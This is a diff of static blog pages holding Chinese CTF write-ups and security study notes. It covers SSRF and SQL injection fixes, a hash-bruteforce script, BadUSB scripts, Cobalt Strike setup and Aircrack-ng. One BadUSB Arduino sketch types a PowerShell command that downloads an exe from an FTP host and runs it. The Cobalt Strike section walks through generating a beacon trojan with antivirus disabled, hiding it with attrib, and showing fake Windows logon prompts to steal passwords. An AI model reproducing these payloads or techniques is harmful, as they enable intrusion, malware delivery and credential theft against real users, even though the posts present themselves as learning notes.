_0x40f7fb[_0x36c6ff(0x145)](i, _0x50fdde[_0x36c6ff(0x146)]);
i++
) {
_0x27361d[i] = _0x40f7fb[_0x36c6ff(0x14d)](
_0x50fdde[i][_0x36c6ff(0x141)](),
i
);
}
continue;
}
break;
}
})();

+ +

奈何我不会这玩意,只能硬着头皮看,没弄出来(主要是最后半小时干的这个题,没时间了),就不弄了

+

MISC

logbool

一道wireshark流量分析题,下载下来附件以后发现大部分的请求都是跟httpmysql请求有关的,搞了一个半钟搞不出来,登录的password一直在变,而且mysql没返回什么有用的结果

+

+

Ste9ano9raphy 6inary

+

~支付宝到账~

+

诶不是我说996在Phigros里面不放过我在CTF里面还要来一次嘛

+
+

下载下来是一个压缩包,里面有个996.png和一个996.wav (@Phigros),其中音频文件是上了密码的,只能下来一个图

+

文件名()把996补全一下是两个单词,翻译下来是这样的

+

+

图片binwalk一下也出不来啥,去看LSB也没看出啥,WinHex里面看看也没有什么有价值的东西,奋斗了大概半小时到一个小时,搞不出来就没干了

+

题目中的996

+

Phigros的996

+

Crypto

Blind_Signature _RSA

题目中的r是什么呢?先去学学rsa盲签名吧。

+

这题我还跟着去学了一下RSA盲签名是怎么整的(大概就是下面这个图的这样)

+

+

但是给出的Python脚本里面真的让我不太知道到底要求什么,而且这个invert()求逆元的函数经常给我ZeroDevisionError(心态炸裂),弄了一会整不出来就算了(这个d上面的while循环是我自己加的)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from gmpy2 import invert
from Crypto.Util.number import *


flag = b"DASCTF{xxxxx}"
m = flag.decode().encode('gbk')
e = 65535 # 公钥
p = getPrime(1024)
q = getPrime(1024)
n = p*q # 公钥
print(f'公钥 n = {n}')
# d = invert(e, (p-1)*(q-1))
while True:
try:
d = invert(e, (p-1)*(q-1))
break
except ZeroDivisionError:
pass
print(f'私钥 d = {d}')
r = getPrime(20) # r为盲因子
+ +

Fix部分

PWN

因为PWN都不知道咋整,所以PWN直接果断放弃

+

Web

Try2ReadFlag-fix

我在上面也说了,这个我队里的人说是跨站攻击,所以我就去看了一下是咋整的

+

我看他做的时候是后面加了/?id=file:///<file>这样的语句,所以我就在想是不是可以对协议头做出限制

+

index.php里面的底下很明显有有关的内容

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>index</title>

<!-- CSS -->
<link rel="stylesheet" href="assets/css/bootstrap.css">
<link rel="stylesheet" href="assets/css/bootstrap-theme.min.css">
<link rel="stylesheet" href="assets/css/bootstrap-theme.css">
<link rel="stylesheet" href="assets/css/bootstrap.min.css">

<link rel="stylesheet" href="assets/js/bootstrap.js">
<link rel="stylesheet" href="assets/js/npm.js">


</head>

<body>

<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<nav class="navbar navbar-default" role="navigation">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1"> <span class="sr-only">Toggle navigation</span><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button> <a class="navbar-brand" href="#">Brand</a>
</div>

<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
<ul class="nav navbar-nav">
<li class="active">
<a href="#">Link</a>
</li>
<li>
<a href="#">Link</a>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Dropdown<strong class="caret"></strong></a>
<ul class="dropdown-menu">
<li>
<a href="#">Action</a>
</li>
<li>
<a href="#">Another action</a>
</li>
<li>
<a href="#">Something else here</a>
</li>
<li class="divider">
</li>
<li>
<a href="#">Separated link</a>
</li>
<li class="divider">
</li>
<li>
<a href="#">One more separated link</a>
</li>
</ul>
</li>
</ul>
<form class="navbar-form navbar-left" role="search">
<div class="form-group">
<input type="text" class="form-control" />
</div> <button type="submit" class="btn btn-default">Submit</button>
</form>
<ul class="nav navbar-nav navbar-right">
<li>
<a href="#">Link</a>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Dropdown<strong class="caret"></strong></a>
<ul class="dropdown-menu">
<li>
<a href="#">Action</a>
</li>
<li>
<a href="#">Another action</a>
</li>
<li>
<a href="#">Something else here</a>
</li>
<li class="divider">
</li>
<li>
<a href="#">Separated link</a>
</li>
</ul>
</li>
</ul>
</div>

</nav>
<div class="jumbotron">
<h1>
Hello, Ctfer!
</h1>
</div>
</div>
</div>
<div class="row clearfix">
<div class="col-md-4 column">
<h2>
Page1
</h2>

<p>
<a class="btn" href="index.php?url=http://127.0.0.1/1.html">View details »</a>
</p>
</div>
<div class="col-md-4 column">
<h2>
Page2
</h2>

<p>
<a class="btn" href="index.php?url=http://127.0.0.1/2.html">View details »</a>
</p>
</div>
<div class="col-md-4 column">
<h2>
Page3
</h2>

<p>
<a class="btn" href="index.php?url=http://127.0.0.1/3.html">View details »</a>
</p>
</div>
</div>
</div>

</body>
</html>

<?php
error_reporting(0);
$url = $_GET['url'];
$input = explode(":", $url)[0];
if ($input == "http" or $input == "file"){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

?>

+ +

Fix方法:直接把后面的file有关的删了就好了

+
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
$url = $_GET['url'];
$input = explode(":", $url)[0];
if ($input == "http"){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

?>
+ +

上传修改后的php文件,等待Check,100分到手!

+

EzLogin-fix

这个就是我上面说拿到文件看到robots.txt才发现还有这一招的那一题,在这个网页上面不管输什么账号密码都会弹出只有本地管理员才能够登录,在文件里面有一句提示

+
+

// 光改密码不会好的:)建议你去修修 SQL 注入,和另外一个文件里的那个漏洞

+
+

所以考点至少有个SQL注入,在网上浏览的时候发现在mysql执行指令的时候,有#的话后面的东西会被当成注释,所以sql注入的修复方法之一就是检测到#的出现就直接给它die一下(队里的人说单引号也是一个重要的点所以我也对单引号进行了校验)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<html>
<head>
<meta charset="utf-8">
<title>ezlogin</title>
</head>
<body>
<form action="" method="post">
username <input type="text" name="username"><br>
password <input type="password" name="password">
<input type="submit" value="submit">
</form>

<?php
error_reporting(0);
if(isset($_POST['username']) && isset($_POST['password'])) {
// 来自 glzjin 的温馨提示:only_check 请不要删,不然 check 会不通过的嗷:)
if($_SERVER['REMOTE_ADDR'] !== "127.0.0.1" && $_GET['only_check'] !== "nifuerhfueritfhgeyg4rh3333"){
die("只有本地管理员才能登陆!");
}
$username = trim($_POST['username']);
$password = trim($_POST['password']);
if(preg_match("/union|'|\"|>|=|<|sleep| |\^|case|like|sleep/i",$username)){
die("?????");
}
if(preg_match("/union|'|\"|>|=|<|sleep| |\^|case|like|sleep/i",$password)){
die("?????");
}

$dbhost = '127.0.0.1';
$dbuser = 'ctfer';
$dbpass = 'efrsyu578h7845g67';
$conn = mysqli_connect($dbhost, $dbuser, $dbpass, 'babysql');
if(! $conn )
{
die('database connection failed: ' . mysqli_error($conn));
}

$sql = "SELECT * from users where username='$username' and password='$password'";
if (strstr($sql, '#') or strstr($sql, '\'')) # 这里就是我加上的
{
die("?????");
}
else{
$retval = mysqli_query( $conn, $sql );
}


// 光改密码不会好的:)建议你去修修 SQL 注入,和另外一个文件里的那个漏洞
if($retval->num_rows > 0){
$row = $retval->fetch_row();
if($row[1] === "b641c90e-459e-4670-a3a9-671f2453400b") {
die('login successful! this is you flag! '.file_get_contents('/flllllaaaaaaggggg'));
}
}

mysqli_close($conn);
}

+ +

然后打开另一个y0u_nev3r_gue5s_1t.php文件

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
if(preg_match("/file|dict/i",$url)){
die("?????");
}
if($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
?>
+ +

打开就看到了熟悉的curl命令,我就在想应该是这里的问题,然后就在if里面加了条件,改成了下面这样

+
1
2
3
4
5
6
7
8
if($url and preg_match("/http:\/\//i",$url) and !strstr($url, '&&') and !strstr($url, '|')){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
?>
+ +

改完啦!上传,等待check,然后发现check没通过(三轮都是)

+

joomla-fix

这是一个CMS框架,在群里,管理员提醒了一句:

+
+

WEB-Joomla 提示2:别直接把文件上传功能干掉,管理员还要用的,所以或许你需要对文件上传功能点加固一下:)

+
+

所以应该是文件管理一类的考点,奈何没时间而且技术力不足,搞不定

+

EzRome

下载下来是个jar文件,奈何不住我不会Java啊

+
+

总结

第一年嘛,积累经验啦;隔壁队伍一个都没做出来,我至少fix还做出来了一个,稳坐三等奖啦!

+

明年继续

+
Author: GamerNoTitle
Link: https://bili33.top/posts/CTF-20220619/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/CTF-20220826-wangdingcup-qinglong/index.html b/posts/CTF-20220826-wangdingcup-qinglong/index.html new file mode 100644 index 0000000000..a3666be01b --- /dev/null +++ b/posts/CTF-20220826-wangdingcup-qinglong/index.html @@ -0,0 +1,306 @@ +2022网鼎杯青龙组——个人WriteUP | GamerNoTitle + + + + + + + + + + + + + + + +

2022网鼎杯青龙组——个人WriteUP

签到

没啥技术含量,求助于万能的 百度 Bing

+

+

+

+

+

+

+

+

+

crypto091

小A鼓起勇气向女神索要电话号码,但女神一定要考考他。女神说她最近刚看了一篇发表于安全顶会USENIX Security 2021的论文,论文发现苹果AirDrop隔空投送功能的漏洞,该漏洞可以向陌生人泄露AirDrop发起者或接收者的电话号码和电子邮箱。小A经过一番努力,获得了女神手机在AirDrop时传输的手机号哈希值,但再往下就不会了,你能继续帮助他吗?小A只记得女神手机号是170号段首批放号的联通号码。

+

Hash:c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc

+

flag格式:flag{13位电话号码(纯数字,含国家代码)}

+
    +
  • 170号段首批放号的联通号码:1709
  • +
  • 限定做法:Hash爆破
  • +
  • Hash为64位,因此Hash的计算方法是sha256
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
import hashlib
prefix = '861709' # 联通首批放号的电话号码头
compare_hash = 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc'
result = 0
for i in range(0,10000000):
to_hash = prefix+'{:0>7}'.format(str(i)) # 这么写主要是为了构造电话号码的格式
to_compare_hash=hashlib.sha256(to_hash.encode()).hexdigest()
print(to_hash, to_compare_hash)
if to_compare_hash == compare_hash:
result = prefix+str(i)
break
print(result)
+ +

+

Hash爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib
from itertools import permutations
import string
salt = input('salt: ')
target = input('target: ')
ls = string.ascii_letters + string.digits
res = permutations(ls,4)
result = 'empty'
for _ in res:
XXXX = _[0]+_[1]+_[2]+_[3]
to_hash = XXXX+salt
if hashlib.sha256(to_hash.encode()).hexdigest() == target:
result = XXXX
break
print(result)
+ +

用于解决题目提示XXXX + 一串salt == Hash值的开头问题,因为已经很多次遇到这种问题了,所以写了个脚本来爆破,只需要输入对应的salt和hash就可以解出来

+
Author: GamerNoTitle
Link: https://bili33.top/posts/CTF-20220826-wangdingcup-qinglong/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/CTF-in-College-1/index.html b/posts/CTF-in-College-1/index.html new file mode 100644 index 0000000000..11edc7d510 --- /dev/null +++ b/posts/CTF-in-College-1/index.html @@ -0,0 +1,301 @@ +CTF学习笔记(大学篇)01 —— CTF入门 | GamerNoTitle + + + + + + + + + + + + + + +

CTF学习笔记(大学篇)01 —— CTF入门

前记

因为学校开启俱乐部活动了,然后我选的是网络攻防俱乐部,本身之前就玩过一些东西,顺带记点东西,便开启了这个坑~

+

所有未经允许的入侵均为违法

+

USB Ninja

一个可以伪装成各种正常的USB设备的攻击设备,因为体积非常小,甚至可以伪装成普通的数据线,鼠标啥的,有配套的手机蓝牙控制程序

+

不过因为好像是蓝牙控制所以距离应该……

+

资源搜索

B站、Google等(B站永远滴神!)

+

从软件入门网络安全

    +
  • 脚本:Python、VBS、批处理、bash、ps1(Powershell)
  • +
  • 系统:Windows、Linux
  • +
  • 流程:Kali
  • +
+

从硬件入门网络安全

    +
  • BadUSB作为模拟键盘生成恶意脚本产生攻击(17年在美国黑客大会提出,然而19年被国内的大佬们玩烂了额呵呵呵呵呵呵呵呵呵呵)【atmega32】
  • +
  • (然后我想起了在我家里吃灰的那一套Arduino)
  • +
+

在短时间内提高的方法——CTF训练平台

+
Author: GamerNoTitle
Link: https://bili33.top/posts/CTF-in-College-1/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/CTF-in-College-2/index.html b/posts/CTF-in-College-2/index.html new file mode 100644 index 0000000000..86d273d221 --- /dev/null +++ b/posts/CTF-in-College-2/index.html @@ -0,0 +1,331 @@ +CTF学习笔记(大学篇)02 —— BadUSB & CobaltStrike | GamerNoTitle + + + + + + + + + + + + + + + + +

CTF学习笔记(大学篇)02 —— BadUSB & CobaltStrike

HID设备

人类接口设备,就是直接与人类进行交互的设备(鼠标、键盘之类的)

+

HID攻击

插入一定的设备,设备有一定的标识符(例如Keyboard、Mouse),插入后就可以运行烧录在BadUSB上的指令来输入恶意代码,把木马植入计算机之中。(伪造用户击键行为等)

+

USB HID攻击 VS 摆渡攻击

前者运用的是伪造的HID设备执行恶意代码,摆渡攻击是在U盘等设备放置木马程序,隐藏在存储介质之中。

+

USB HID攻击特点

    +
  • 隐蔽性强
  • +
  • 攻击范围广
  • +
  • 权限高
  • +
+

攻击范围是只要能够支持USB HID接口协议的设备均可用。

+

相关编程语句

默认内容

1
2
3
4
5
6
7
void setup() {

}

void loop() {

}
+ +
    +
  • void setup()函数内的代码只运行一次
  • +
  • void loop()函数内的代码会一直循环运行
  • +
+

运行cmd并打开记事本,输入相关内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include<Keyboard.h>
void setup() {
// put your setup code here, to run once:
Keyboard.begin();
delay(1000);

Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);//win键释放
Keyboard.release('r');//r键释放

Keyboard.press(KEY_CAPS_LOCK);//若目标机开启大小写,关掉即可
Keyboard.release(KEY_CAPS_LOCK);//若目标机没有开启,也不影响
delay(500);
Keyboard.println("cmd");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);//目标机开启中文或开启大小写键
delay(500);

//弹出记事本
Keyboard.println("notepad.exe");
delay(500);
delay(500);//可防止丢帧
Keyboard.println("you are hacked!!!");
Keyboard.println("you are hacked!!!");
Keyboard.println("you are hacked!!!");
Keyboard.press(KEY_CAPS_LOCK);//若目标机开启大小写,关掉即可
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}

void loop() {
// put your main code here, to run repeatedly:
}
+ +
    +
  • Keyboard.press就表示按下按键,用Keyboard.release松开
  • +
  • KEY_LEFT_GUI表示左边的Win按键
  • +
  • Keyboard.begin()开启键盘通讯,Keyboard.end()来表示结束
  • +
  • 因为插入设备的时候目标主机可能处于中文输入法,所以用Keyboard.press(KEY_CAPS_LOCK)打开大小写锁定,然后来输入命令,这样输入的就是英文字符而不受到中文输入法的限制了,输入完了以后记得用Keyboard.release(KEY_CAPS_LOCK)松开
  • +
  • Keyboard.begin()下面的delay(1000):一般来说,设备插入后计算机需要启动驱动,在这里加入延迟就是为了给计算机启动驱动的时间(甚至是安装驱动,diss一下win7以下的那堆),当然一般是3秒5秒,1秒还是太短了
  • +
  • 按键的定义如下(键盘按键+编码)
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
///Alt和Ctrl和Shift
#define KEY_LEFT_CTRL 0x80
#define KEY_LEFT_SHIFT 0x81
#define KEY_LEFT_ALT 0x82
#define KEY_LEFT_GUI 0x83
#define KEY_RIGHT_CTRL 0x84
#define KEY_RIGHT_SHIFT 0x85
#define KEY_RIGHT_ALT 0x86
#define KEY_RIGHT_GUI 0x87
///方向键系列
#define KEY_UP_ARROW 0xDA
#define KEY_DOWN_ARROW 0xD9
#define KEY_LEFT_ARROW 0xD8
#define KEY_RIGHT_ARROW 0xD7
//特殊键位,其中RETURN就是回车
#define KEY_BACKSPACE 0xB2
#define KEY_TAB 0xB3
#define KEY_RETURN 0xB0
#define KEY_ESC 0xB1
///特殊键位,我比较常用的是DELETE
#define KEY_INSERT 0xD1
#define KEY_DELETE 0xD4
#define KEY_PAGE_UP 0xD3
#define KEY_PAGE_DOWN 0xD6
#define KEY_HOME 0xD2
#define KEY_END 0xD5
#define KEY_CAPS_LOCK 0xC1
///F区的这些那些
#define KEY_F1 0xC2
#define KEY_F2 0xC3
#define KEY_F3 0xC4
#define KEY_F4 0xC5
#define KEY_F5 0xC6
#define KEY_F6 0xC7
#define KEY_F7 0xC8
#define KEY_F8 0xC9
#define KEY_F9 0xCA
#define KEY_F10 0xCB
#define KEY_F11 0xCC
#define KEY_F12 0xCD
#define KEY_F13 0xF0
#define KEY_F14 0xF1
#define KEY_F15 0xF2
#define KEY_F16 0xF3
#define KEY_F17 0xF4
#define KEY_F18 0xF5
#define KEY_F19 0xF6
#define KEY_F20 0xF7
#define KEY_F21 0xF8
#define KEY_F22 0xF9
#define KEY_F23 0xFA
#define KEY_F24 0xFB
+ +

利用FTP服务器存储病毒文件,利用BadUSB执行下载命令后运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include "Keyboard.h"

void setup()
{
Keyboard.begin();
delay(2000);
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI); //win键 释放
Keyboard.release('r'); //r键 释放
delay(500);
Keyboard.println("powershell $p=new-object system.net.webclient;$p.downloadfile('FTP://admin:123456@169.254.202.247/calc.exe','F:\\calc.exe');START F:\\calc.exe");
Keyboard.end();//结束键盘通讯
}

void loop()
{
}

+ +
    +
  • FTP协议写法:ftp://<username>:<password>@<address>:<port>,可以通过这种方式将用户名和命令写入而无需弹出验证窗口
  • +
+

CobaltStrike用法

首先需要打开Teamserver

+

+

然后再打开CS,连接Teamserver

+

+

接着就会弹出主界面

+

+

然后我们生成一个木马程序,这个程序运行后就会在主界面显示肉鸡,可以进行远程操作等操作

+

+

+

隐藏木马病毒

一般来说,木马下载到计算机内后,如果不隐藏很快就会被发现(这不是当然的嘛,一个不明觉厉的exe在那里谁都会感觉奇怪吧)

+

所以在Windows下,我们可以将文件进行隐藏,使用attrib命令就可以做到这一点,例如

+
1
attrib +s +h '.\Virus.exe'
+ +

隐藏后可以用命令行打开(直接输入.\Virus.exe就行了),但是在文件资源管理器里面看不到

+

在Linux下,可以在文件的最前面加一个点(.),会被Linux认为是隐藏文件,就在文件管理器中看不到啦

+
Author: GamerNoTitle
Link: https://bili33.top/posts/CTF-in-College-2/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/CTF-in-College-3/index.html b/posts/CTF-in-College-3/index.html new file mode 100644 index 0000000000..ec67fe18bb --- /dev/null +++ b/posts/CTF-in-College-3/index.html @@ -0,0 +1,335 @@ +CTF学习笔记(大学篇)03 —— CobaltStrike 详解 | GamerNoTitle + + + + + + + + + + + + + + + + +

CTF学习笔记(大学篇)03 —— CobaltStrike 详解

CobaltStrike信息

+ +

Cobalt Strike(下面会简称为CS)是一款由java编写的全平台多方协同渗透测试框架,在3.0版本之前它基于Metasploit框架工作,在3.0后的版本以独立成一个渗透测试平台。CobaltStrike集成了端口转发、端口扫描、socket代理、提权、钓鱼、远控木马等功能。该工具几乎覆盖了APT攻击链中所需要用到的各个技术环节,且其最大的优点在于可以进行团队合作和优越的UI界面。

+

不过这东西好像是要钱的,在百度搜索可以找到别人打包好的程序,包括汉化包、服务器等东西(自己找去吧),但是一定要注意,teamserver和CS程序本体的版本号一定要一样!

+

如果是官方下载的纯净版,那目录结构应该是长这样的

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
CobaltStrike
│ agscript
│ c2lint
│ cobaltstrike
│ cobaltstrike.bat
│ CSAgent.jar
│ peclone
│ teamserver
│ tree.txt

├─resources
│ bdetails.txt
│ bhelp.txt
│ translation.txt

└─scripts
default.cna
+ +

开启CS服务器

CS需要一台电脑作为监听服务器,这里我直接用物理机当服务器和攻击机,用虚拟机当目标机

+

在Windows下,需要把以下代码复制粘贴到一个bat文件(建议放在同目录),然后再运行监听服务器

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
@echo off   
:check_java
java -version >nul 2>&1
if %errorLevel% == 0 (
goto:check_permissions
) else (
echo [-] is Java installed?
goto:eof
)

:check_permissions
echo [+] Administrative permissions required. Detecting permissions...
set TempFile_Name=%SystemRoot%\System32\BatTestUACin_SysRt%Random%.batemp
(echo "BAT Test UAC in Temp" >%TempFile_Name% ) 1>nul 2>nul
if exist %TempFile_Name% (
echo [+] Success: Administrative permissions confirmed.
del %TempFile_Name% 1>nul 2>nul
goto:check_certificate
) else (
echo [-] Failure: Current permissions inadequate.
goto:eof
)

:check_certificate
set certificate=".\cobaltstrike.store"
if exist %certificate% (
goto:test_arguments
) else (
echo [!] Please generate the cobaltstrike.store !
echo [!] Example: keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
goto:eof
)

:test_arguments
set argC=0
for %%x in (%*) do Set /A argC+=1
if %argC% LSS 2 (
echo [-] teamserver ^<host^> ^<password^> [/path/to/c2.profile] [YYYY-MM-DD]
echo ^<host^> is the default IP address of this Cobalt Strike team server
echo ^<password^> is the shared password to connect to this server
echo [/path/to/c2.profile] is your Malleable C2 profile
echo [YYYY-MM-DD] is a kill date for Beacon payloads run from this server
goto:eof
) else (
goto:run_cobal
)
:run_cobal
java -Dfile.encoding=UTF-8 -XX:ParallelGCThreads=4 -Xms512m -Xmx1024m -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer %*
+ +

弄好了以后,打开Windows Terminal,运行下面的命令来打开监听服务器

+
1
.\teamserver.bat <监听ip> <服务器密码>
+ +

这里监听IP不能是0.0.0.0,必须指定ip。可以通过ipconfig来查看本机的ip地址,然后填在对应的位置,密码就自己设置了,另外打开的时候一定要用管理员权限!

+

开完了应该会像下面这张图这样显示

+

+

然后打开CS软件本体,输入ip和密码进行连接,出现主页面即为连接成功

+

开CS软件本体的方式就很简单了,可以简单粗暴直接java -jar cobaltstrike.jar,也可以把下面这些内容复制到一个bat文件然后直接双击打开(下面这里用了汉化模组CobaltStrikeCN.jar,你可以在Github搜索下载)

+
1
java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC  -jar cobaltstrike.jar
+ +

+

+

生成木马文件

这个其实很简单(如果不做免杀的话),直接在顶上找到齿轮图标点一下,然后选择一个监听器生成就行了,不过在生成之前要记得一定要关闭杀软(因为没做免杀,会被杀软直接干掉)

+

+

这里我生成了一个名为beacon.exe的木马文件,把它丢到虚拟机里面双击运行(记得要把虚拟机的杀软也关了)

+

这里有个坑,如果你发现你的肉鸡很久都没有上线,那你应该去检查一下虚拟机的网络模式设定,我一开始设置的是NAT模式,但是NAT模式的网段跟本机的网段不太一样,就会连不上,所以要改成桥接模式才能够连接成功。

+

+

在虚拟机打开木马文件后,你攻击机的CS就会有上线提示了,然后会显示一些关于肉鸡的信息,如图所示

+

+

肉鸡上线的时候,第一件事情就是要调整延迟。如果说你想做到实时控制,那就要把延迟调整为0s,如果你想操作延迟执行,那就修改为对应的时间,默认是60s

+

修改也很简单,右击一下你的目标机器,在会话里面可以找到Sleep选项,点开以后修改就行了

+

+

+

右击选择进入beacon可以进入CS提供的命令行,对目标机器进行操作

+

一般可以使用shell <powershell命令>的格式来执行Windows自带的命令,例如使用shell notepad就可以在目标机器打开一个记事本,使用shell calc就可以在目标机器打开一个计算器

+

安装插件

CS自己就带了不少的功能,例如提权、VNC等功能,但是这些功能不太够,幸好整个CS的生态里面是有很多大佬开发插件的,这里可以在Github上随便搜搜就能找到了。这里我装了一个z1un/Z1-AggressorScripts: 适用于Cobalt Strike的插件 (github.com)整个插件集,所以我这里右击肉鸡的时候多了一个Z1选项

+

+

这里就有很多功能了,这里可以讲一下一些有趣的功能

+

用户密码钓鱼

很多计算机都会设置有电脑的登录密码,有的时候我们想获取用户的密码,那用得最烂但是挺有效的手段就是钓鱼(特别对于CSGO库存价值高的Steam用户来说肯定遇到过不少),这里Z1也给我们提供了对应的功能,我们可以在Z1->读取密码->钓鱼密码窃取->FakeLogonScreen里面使用这个功能,点击后会弹出一个小窗口,点击执行后,肉鸡就会显示一个钓鱼窗口了

+

不过有一说一这个窗口……做的还是挺次的

+

虚假的登录窗口

+

真实的登录窗口

+

不过这个可以自动判断用户密码的正误,直到用户输入正确了才放行,控制台会实时弹用户输入密码的情况,但是但是,对于我这种用PIN登录的人来说,获取不到PIN

+

输入错误

+

输入正确

+

还有一种钓鱼窗口就是Windows自带的那种认证窗口(如图)【紫色的表框是VMware的Unity模式带的,在正常的系统中显示实际上是没有没有】

+

+

不过也有一个缺点就是:正常的巨硬认证窗口是不能移动的,这个可以……

+

打开这个窗口也不难,只是在刚刚上面那个Windows登录的那个选项那里选择下面那个,然后设定一下标题(在这里是安全认证这几个字)就可以了。

+
Author: GamerNoTitle
Link: https://bili33.top/posts/CTF-in-College-3/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/CTF-in-College-4/index.html b/posts/CTF-in-College-4/index.html new file mode 100644 index 0000000000..fceb12bc8b --- /dev/null +++ b/posts/CTF-in-College-4/index.html @@ -0,0 +1,348 @@ +CTF学习笔记(大学篇)04 —— 使用Aircrack-ng来破解WIFI | GamerNoTitle + + + + + + + + + + + + + + + +

CTF学习笔记(大学篇)04 —— 使用Aircrack-ng来破解WIFI

Aircrack-ng 官网:https://www.aircrack-ng.org/

+
+ +

Aircrack-ng是用来破解WIFI密码的工具,原理就是先寻找要破解的WIFI,然后把设备T下线,伪装成热点,让其他设备连接到伪装热点上获取握手包,最后跑字典把密码跑出来

+

说白了就是字典里面如果有就是有,没有那就没戏,所以其实用处嘛……

+

Aircrack-Ng 安装

Kali其实自带了这个东西,但是对于大部分的Linux发行版是不带的,所以我们需要进行安装

+

最简单的方式就是直接通过apt进行安装

+
1
2
sudo apt update
sudo apt install aircrack-ng -y
+ +

我这里因为装过了所以才是这么提示的,如果没装过会进入正常的apt安装流程

+

+

网卡设置

我这里自己插了一张AWUS036H网卡(显示为wlan0),某宝从几十块到几百的都有,那我这张自然是白嫖的嘛

+

+

顺带上一张实物图

+

+

要开始使用Aircrack-ng,就需要把网卡设置为监听模式,不过这个设置Aircrack-ng里面有一键化的命令,我们只需要执行

+
1
sudo airmon-ng start <网卡名字>
+ +

就可以打开监听模式了,对于我这里,我需要输入的为

+
1
sudo airmon-ng start wlan0
+ +

+

(我这里因为开过一次,所以就会有两个进程在用这个网卡,根据它里面所说的用airmon-ng check kill先杀掉相关进程后重新开启就可以了)

+

完成后,原网卡的名字后面会多出mon的字样,就像这样

+

+

搜索网络

使用airodump-ng <网卡名字>可以进入搜索模式

+
1
sudo airodump-ng wlan0mon
+ +

